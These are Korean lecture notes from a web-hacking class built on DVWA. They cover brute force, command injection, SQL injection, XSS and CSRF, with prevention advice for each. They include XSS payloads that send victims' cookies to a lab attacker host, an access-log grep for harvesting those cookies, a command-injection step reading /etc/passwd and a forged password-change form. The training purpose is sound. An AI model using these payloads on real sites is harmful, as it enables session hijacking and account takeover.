본 멘토 특강의 내용은 AhnLab의 박수현 멘토님에 의해 진행되었습니다
DVWA
(Damn Vulnerable Web Application
)는웹 모의해킹
을학습/연구
하기위해개발된 환경
Apache
/MySQL
/PHP
로 구성다양한 해킹 기법
을테스트
할 수 있다
Brute force
Command Executuion
SQL Injection
XSS (Cross-Site Scripting)
CSRF (Cross-Site Request Forgery)
- 등등
- 순서
virtual box
설치OWASP_Broken_Web_Apps_VM_1.2.ova
다운 & 설치- 접속
: 기본적으로root/owaspbwa
라는id/password
로 접속 가능함network 설정
(MacOS만)
- 네트워크 추가
- 네트워크 연결
- ip확인(ifconfig) 및 로컬에서 접근
- 세팅 완료
:로컬
에서해당 ip
를 통해DVWA 사이트를 이용
하여테스트
( 설명 )
특정한 암호
를 풀기 위해무차별 대입
을 하는 것
( 실습 ) - Bruter라는 툴 (windows만 있음)
target 페이지(DVWA 서버 페이지)
확인
Target 설정
/Protocol 설정
등등
Target Page 설정
/필드명 매칭
/실패시 출력 메시지 입력(결과를 판단하기 위함)
등등
공격 수행
해서password를 찾기
( 예방 방법 )
로그인 block
: 일정 로그인 시도 횟수를 넘으면로그인을 막는 것
ip 차단
: 일정 로그인 시도 횟수를 넘으면ip 차단
-->사용성이 많이 떨어짐
sleep 사용
: 일정 로그인 시도 횟수를 넘으면sleep
을 통해처리 시간을 지연
시켜 시간을 많이 늘릴 수 있다
(보통sleep(3)
정도로 사용)
( 설명 )
시스템 명령어를 삽입
해서조작
하는해킹 공격 기법
- 보통
command injection
으로 많이 통용되어 불림system()
,exec()
와 같은OS 시스템 명령어를 실행할 수 있는 함수
를 통해서사용자 제공 데이터 (양식 / 쿠키 / HTTP 헤더 등)
를System Shell
에 전달해명령어를 주입
내부 데이터 탈취 및 손상
/시스템 계정 정보 유출
/백도어 설치
등등의 피해가 발생
( 선행 지식 - 명령어 )
;
--> 앞 명령어 실행 후뒤 명령어 실행
&&
-->앞 명령어가 참
이면뒤 명령어 실행
||
-->앞 명령어가 거짓
이면뒤 명령어 실행
|
-->앞 명령어의 결과
를뒤 명령어로 전달
echo [message] > [filename]
--> 파일 생성
( 실습 )
/etc/passwd
파일내용 출력
하기
:; 명령어
를 통해서추가적인 명령어를 실행
함
( 예방 방법 )
Secure Coding
입력값 검증
(의도한 입력이 아닌 경우 배제)&
,|
,;
등의특수 기호 input시 차단
멀티 라인 검사
Command Injection에 취약한 함수
사용하지 않기 (가급적)명령어 화이트 리스트
유지
운영상 Command Injection에 취약한 함수를 사용
해야 한다면허용 가능한 명령어 리스트 유지
( 개념 )
입력값으로 SQL을 삽입
해서DB를 조작
해서데이터 유출
등다양한 피해를 주는 공격
- 발생 조건
웹 애플리케이션
이DB와 연동
외부 입력값
이DB 쿼리문으로 사용
- 공격 목적 및 영향
인증 우회
:로그인 폼(Form)을 대상
으로 공격을 수행해서인증을 획득
하는 것DB 데이터 조작 및 유출
:개인정보
나기밀정보
에접근
해서데이터를 획득 / 조작
하는 것시스템 명령어 실행
:시스템 명령어
를 통해 시스템자원을 획득
하여데이터 유출, 삭제
등을 하는 것
( 공격 기법 )
- (일반적인) SQL Injection
- 쿼리 조건 무력화(Where 구문 우회)
:조건문을 기술하는 Where 조건
을반드시 참이 되도록 조작
하는 것
- 주석 삽입 (mysql : #)
:작은 따옴표(')
로String을 탈출
한 후주석인 #
을 추가해서뒤를 무시
하게 만듬- 항상 참인 조건 추가
- 고의적 에러 유발 후 정보 획득
:의도적으로 SQL 구문 에러를 유
발하여DB의 스키마 정보
나데이터
를획득
- UNION 명령어 사용
:합쳐지는 두 테이블의 칼럼 갯수가 일치해야만 오류나지 않는 것을 이용
해서테이블 칼럼 개수
를 찾을 수 있다(추가로,UNION을 이용
해서DB버전 / Table 정보
등등DB 구조를 파악
할 수도 있음)- 시스템 명령어 실행
- Blind SQL Injection :
(일반적인) SQL Injection이 통하지 않을 때
사용됨
- Boolean-based Blind 공격
:AND 조건
에논리식을 대입
하여참/거짓 여부
를 통해정보를 파악
하는 공격- Time-based Blind 공격
:쿼리 지연을 유도
해서응답 시간에 걸리는 시간
으로참/거짓을 판별
하여정보를 파악
하는 공격
( 예방 방법 )
- 시큐어 코딩
입력값 검증
화이트 리스트 기반 검증
:특정 SQL 명령어
가입력될 수 없도록 필터링
Prepared Statement
사용
- 미리
쿼리에 대한 컴파일을 수행
하고입력값을 나중에 넣는 방식
비정상적인 입력
이 들어와도 이미 정해진쿼리 플랜(Query Plan)
으로SQLI를 막을 수 있음
Error Message 노출 금지
:DB 오류 발생
시예외처리
를 해서사용자에게 메시지 박스 띄우게 하기
- 웹 방화벽 사용
:웹 공격 방어
에특화
되어 있는웹 방화벽
을 사용하는 것
( 설명 )
JavaScript와 같은 스크립트 언어
를삽입
해서개발자가 의도하지 않은 명령
을실행하도록 유도
하는 공격 기법대부분의 다른 해킹 기법
들과 다르게클라이언트
즉,사용자를 대상으로 한 공격
이 많다사용자가 특정 웹 사이트를 신용하는 점
을이용
하는 것
(CSRF는 특정 웹 사이트가 사용자를 신용하는 것을 이용
함 -반대
)보통 CSRF를 하기 위해 먼저 사용
된다 (사용자 정보를 탈취한 후
이를 통해서버 공격
)
- 공격 목적 및 영향
- 인증 정보 획득
(쿠키 / 세션 / 토큰)
- 시스템 관리자 권한 획득
- 악성코드 다운로드 유도
:악성 스크립트가 있는 URL을 클릭
하도록유도
해악성 프로그램을 다운 받는 사이트
로Redirect
하거나트로이 목마 프로그램
을 다운로드 하도록유도
- 거짓 페이지 노출
:특정 요소
들을가짜 요소로 대체
하여 클릭하게 해서페이지 변조
를 만들어 개인정보 유출 등으로 사용
( 공격 기법 & 실습 )
- Reflected XSS
<script>document.location='http://192.168.56.101/cookie?'+document.cookie</script>
(사용자의 쿠키 정보
를해커의 서버
로http request 날려서 세션 하이재킹
을 수행)
사용자에게 입력 받은 값
을서버에서 되돌려 주는 곳
에서발생
(검색 결과
/에러 메시지
등)- 1)
사용자
가URL 파라미터에 악성 스크립트를 포함
시켜서버에 요청
하게 한다(메일
/링크
등)- 2)
서버가 반사
를 통해악성 스크립트가 포함된 응답
을사용자에게 return
- 3)
사용자의 브라우저
에서악성 스크립트가 실행
- Stored(Persistent) XSS
웹 서버
에악성 스크립트를 저장
시켜지속적으로 피해
를 만드는 공격 기법
ex)게시판에 등록
해서열람한 사용자들의 세션을 하이재킹
- 1)
XSS에 취약한 웹사이트 게시판
에악의적인 스크립트가 담긴 글
을 작성<img name="i"></img> <script>i.src="http://192.168.56.101/cookie.php?cookie="+document.cookie</script>
-->해커의 사이트
로cookie 정보
를rest api로 보내는 스크립트
- 2)
해커
는access log를 확인
해서세션을 탈취
cat /var/log/apache2/access.log | grep cookie
or
* tail -f /var/log/apache2/access_log
- DOM based XSS
사용자
가악의적인 스크립트가 포함된 URL
을서버에 요청
해서브라우저에 HTML이 렌더링 되는 단계
에서발생하는 공격 기법
정상적인 서버의 응답에 있는 HTML
에악성 스크립트를 추가
해서실행
하는 것
( 예방 방법 )
- 시큐어 코딩
입/출력 값 검증
필터 적용
httponly 속성 On
-->직접 쿠키에 접근하지 못하게 막는 것
- 웹 방화벽 사용
( 설명 )
특정 웹 사이트
가사용자를 신용하는 것
을이용
한 공격 기법사용자
가서버에 보내는 요청을 위조
해서Server의 데이터
를변경
/삭제
/탈취
등을 함XSS
는사용자가 target
/CSRF
는서버가 Target
사용자
는 서버를 공격하기 위한 trigger 역할
( 실습 )
HTML Form을 확인
한 후임의의 HTML Form 생성
<form> action="http://서버의 비밀번호 변경 처리 주소" method="GET"> New password; <br /> /* value 속성으로 내가 바꾸고자 하는 값을 지정 */ <input type="password" AUTOCOMPLETE="on" name="password_new" value="내가 원하는 값"> <br /> <input type="password" AUTOCOMPLETE="on" name="password_conf" value="내가 원하는 값"> <br /> <input type="submit" value="Change" name="Change"> </form>
사용자
에게악성 스크립트 실행
을 하게 함
:change 버튼
을 누르게 해서강제로 비밀번호를 해커가 원하는 값으로 초기화
( 예방 방법 )
- Referrer 검증
HTTP request의 referrer
(HTTP 요청이 하이퍼링크를 통해 방문시 남는 흔적
)을 이용해서같은 도메인에서 오는 요청인지 검사
(다른 도메인
이면차단
)- 하지만,
같은 도메인
에서XSS 취약점
이 있다면CSRF 공격 역시 취약해 짐
-->도메인 검증
을상세하게 해야 함
- Security Token 사용
사용자 세션에
난수 값을 저장
하고 매요청시 마다 요청 파라미터 난수 값
과일치하는지 검사
Referrer 검증이 불가능 할 때 사용
- 역시
같은 도메인 내 XSS 취약점
이 있으면CSRF도 공격에 취약
해짐
- CAPTCHA 사용
어떠한 사용자
가실제 사람
인지컴퓨터 프로그램인지
를구별
하기 위해 사용되는 방법텍스트 맞추기
/이미지 선택하기
등등
- Double-Submit cookie Pattern
Security Token 검증의 한 종류
로세션을 사용할 수 없는 환경
에서 사용할 수 있는 방법입니다.웹브라우저
의Same Origin 정책
으로 인해자바스크립트
에서타 도메인의 쿠키 값
을확인/수정하지 못한다는 것을 이용
한 방어 기법
- 웹 서버 구축 보안 점검 체크리스트
kisa
에서 제공하는웹 서버 구축시 보안 점검 체크리스트
를 확인
- 시큐어 코딩
- 역시
kisa에서 제공
하는 시큐어 코딩 가이드 확인
java 시큐어 코딩 가이드
download : https://www.kisa.or.kr/public/laws/laws3_View
- 웹 응용 프로그램의 보안 취약점 점검 도구
ZAProxy와 같은 툴
을 이용해웹 보안을 점검
해볼 수 있다 (다른 툴도 많으니 찾아보자)